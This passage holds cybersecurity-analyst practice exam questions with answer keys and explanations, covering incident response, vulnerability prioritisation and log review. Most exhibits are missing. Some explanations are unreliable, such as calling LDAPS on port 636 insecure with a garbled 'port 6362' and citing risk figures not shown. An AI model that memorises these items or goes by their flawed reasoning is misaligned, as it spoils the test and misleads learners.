B. Advanced persistent threat.
C. Insider threat.
D. Script kiddie.
C. Insider threat.
An insider threat refers to a person within an organization (in this case, the user) who poses a threat to the organization’s security. Insider threats can be unintentional, such as when a user unknowingly downloads and spreads malware.
An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next?
A. Take a snapshot of the compromised server and verify its integrity.
B. Restore the affected server to remove any malware.
C. Contact the appropriate government agency to investigate.
D. Research the malware strain to perform attribution.
A. Take a snapshot of the compromised server and verify its integrity.
The next action that the CSIRT should conduct after isolating the compromised server from the network
is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.
During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?
A. Disk contents
B. Backup data
C. Temporary files
D. Running processes
D. Running processes
A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?
A. function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” }
B. function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” }
C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }
D. function z() { c=$(geoiplookup$1) && echo “$1 | $c” }
C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }
This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region.
A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?
A. function w() { info=$(ping -c 1 $1 | awk -F “/” ‘END{print $1}’) && echo “$1 | $info” }
B. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo “$1 | $info” }
D. function z() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }
B. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country.
A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:
Which of the following should be completed first to remediate the findings?
A. Ask the web development team to update the page contents.
B. Add the IP address allow listing for control panel access.
C. Purchase an appropriate certificate from a trusted root CA.
D. Perform proper sanitization on all fields.
D. Perform proper sanitization on all fields.
The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment.
While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?
A. Shut the network down immediately and call the next person in the chain of command.
B. Determine what attack the odd characters are indicative of.
C. Utilize the correct attack framework and determine what the incident response will consist of.
D. Notify the local law enforcement for incident response.
B. Determine what attack the odd characters are indicative of.
In the context of reviewing web server logs, the most immediate and practical step is to investigate the nature of the odd characters in the request line. This involves understanding the patterns, syntax, and characteristics of these entries to determine if they are indicative of a particular attack or anomaly.
Simply shutting down the network (option A) or notifying law enforcement (option D) without understanding the nature of the issue might be premature and could disrupt normal operations unnecessarily. Utilizing the correct attack framework (option C) may come into play after identifying the attack type, but the initial focus should be on understanding the nature of the odd characters to assess the potential threat.
A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event. Which of the following should the team create to address this issue?
A. Service-level agreement.
B. Change management plan.
C. Incident response plan.
D. Memorandum of understanding.
C. Incident response plan.
A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique?
A. Geoblock the offending source country.
B. Block the IP range of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.
D. Block the specific IP address of the scans at the network firewall.
B. Block the IP range of the scans at the network firewall.
Option A, geo-blocking the offending country of origin, is not the best choice due to the negative impact, the possibility of evasion and the overly broad approach. Option B, blocking the IP range from scans at the network firewall, is the most appropriate as it is straightforward, effective, flexible, and strikes a better balance in addressing the specific issue without harming legitimate traffic. Therefore, the answer is B. In summary, option B is the most effective and balanced choice to mitigate the threat of network scanning activities originating from a country with which the company does not do business.
A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:
Which of the following vulnerabilities should be prioritized for remediation?
A. 1
B. 2
C. 3
D. 4
D. 4
Question states the “company is primarily concerned with ensuring the accuracy of the data”, or integrity in other words. Preserving the integrity of the data is important. So we will prioritize vulnerabilities that affect integrity (I in the CVSS 3.1 metrics)
V1 - I:L means integrity risk is low
V2 - I:L means integrity risk is low
V3 - I:N means integrity risk is none
V4 - I:H means integrity risk is high
Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:
Which of the following should the security analyst prioritize for remediation?
A. rogers
B. brady
C. brees
D. manning
B. brady
A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit the vulnerability:
Which of the following log entries provides evidence of the attempted exploit?
A. Log entry 1
B. Log entry 2
C. Log entry 3
D. Log entry 4
A. Log entry 1
This entry appears to contain a command injection attempt in the URL using Java’s Runtime class.
A security analyst is reviewing the following alert that was triggered by FIM on a critical system:
Which of the following best describes the suspicious activity that is occurring?
A. A fake antivirus program was installed by the user.
B. A network drive was added to allow exfiltration of data.
C. A new program has been set to execute on system start.
D. The host firewall on 192.168.1.10 was disabled.
C. A new program has been set to execute on system start.
A technician is analyzing output from a popular network mapping tool for a PCI audit:
Which of the following best describes the output?
A. The host is not up or responding.
B. The host is running excessive cipher suites.
C. The host is allowing insecure cipher suites.
D. The Secure Shell port on this host is closed.
C. The host is allowing insecure cipher suites.
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.
A security audit for unsecured network services was conducted, and the following output was generated:
Which of the following services should the security team investigate further? (Select two):
A. 21
B. 22
C. 23
D. 636
E. 1723
F. 3389
C. 23
D. 636
The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices. The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.
Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.
Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host.
Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections. Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362.
A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the tool and receives the following output:
Which of the following hosts should be patched first, based on the metrics?
A. host01
B. host02
C. host03
D. host04
C. host03
Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of 10 x 0.9 = 9, which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.
You are a penetration tester who is reviewing the system hardening guidelines for a company. Hardening guidelines indicate the following:
- There must be one primary server or service per device.
- Only default port should be used.
- Non- secure protocols should be disabled.
- The corporate internet presence should be placed in a protected subnet.
Using the available tools, discover devices on the corporate network and the services running on these devices. You must determine:
- IP address of each device.
- The primary server or service each device.
- The protocols that should be disabled based on the hardening guidelines.
The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:
Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?
A. Vulnerability A
B. Vulnerability B
C. Vulnerability C
D. Vulnerability D
A. Vulnerability A
A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:
Which of the following vulnerability types is the security analyst validating?
A. Directory traversal
B. XSS
C. XXE
D. SSRF
C. XXE
A company has the following security requirements:
- No public IPs
- All data secured at rest
- No insecure ports/protocols
After a cloud scan is completed a security analyst receives reports that several misconfigurations are putting the company at risk. Given the following cloud scanner output:
Which of the following should the analyst recommend be updated first to meet the security requirements and reduce risks?
A. VM_PRD_DB
B. VM_DEV_DB
C. VM_DEV_Web02
D. VM_PRD_Web01
A. VM_PRD_DB
A vulnerability scanner generates the following output:
The company has an SLA for patching that requires time frames to be met for high-risk vulnerabilities. Which of the following should the analyst prioritize first for remediation?
A. Oracle JDK
B. Cisco Webex
C. Redis Server
D. SSL Self-signed Certificate
C. Redis Server
A new zero-day vulnerability was released. A security analyst is prioritizing which systems should receive deployment of compensating controls deployment first. The systems have been grouped into the categories shown below:
Which of the following groups should be prioritized for compensating controls?
A. Group A
B. Group B
C. Group C
D. Group D
C. Group C
A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:
Which of the following best describes the activity the analyst has observed?
A. Obfuscated links
B. Exfiltration
C. Unauthorized changes
D. Beaconing
C. Unauthorized changes
A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:
Which of the following vulnerabilities should be prioritized for remediation?
A. nessie.explosion
B. vote.4p
C. sweet.bike
D. great.skills
D. great.skills
An organization’s email account was compromised by a bad actor. Given the following information:
Which of the following is the length of time the team took to detect the threat?
A. 25 minutes
B. 40 minutes
C. 45 minutes
D. 2 hours
A. 25 minutes
An incident response team member is triaging a Linux server. The output is shown below:
Which of the following is the adversary most likely trying to do?
A. Create a backdoor root account named zsh.
B. Execute commands through an unsecured service account.
C. Send a beacon to a command-and-control server.
D. Perform a denial-of-service attack on the web server.
B. Execute commands through an unsecured service account.
